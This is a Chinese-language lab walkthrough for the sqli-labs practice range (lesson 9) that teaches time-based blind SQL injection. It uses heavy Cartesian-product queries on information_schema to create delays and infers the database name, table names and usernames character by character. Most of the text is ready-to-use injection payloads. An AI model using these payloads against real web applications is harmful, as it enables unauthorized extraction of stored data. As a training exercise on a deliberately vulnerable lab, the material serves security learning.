笛卡尔积
原理:连接表是一个很耗时的操作(A×B=A和B中每个元素的组合所组成的集合,就是连接表)
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
靶场实践(sqli-9)
?id=1 ' and if(length((select database()))>7,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

页面延迟回显

页面直接回显,说明书库名的长度为7.
接下来查询数据库
?id=1 ' and if(ascii(substr(database(),1,1))>114,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

页面延迟回显

页面立刻回显
说明数据库名的第一个字符串对应的ascii码的值为115,则第一个字符串为‘s’。
以此类推可以得到完整的数据库名为security。
接下来查询第一个表名的长度
?id=1 ' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

页面延迟回显

页面立刻出现回显,说明第一个表名的长度为6。
接下来查询第一个表名
?id=1 ' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

页面延迟回显

页面立刻回显,说明表名的第一个字符对应的ascii码的值为101.
更改substr()函数的参数可以得到完整的表名。
依次类推,按照上面的方法可以得到列名以及列的内容,这里写一下具体的查询列的内容的查询语句
?id=1 ' and if(length((select username from users limit 0,1))>3,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

页面延迟回显

页面立刻回显
说明username列的第一个数据的长度是4
接下来查询这个列中的第一个字符。
?id=1 ' and if(ascii(substr((select username from users limit 0,1),1,1))>67,(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)--+

页面延迟回显

页面立刻回显
说明username列的第一个数据的第一个字符对应的ascii码的之为68,
以此类推可以的得到完整的数据。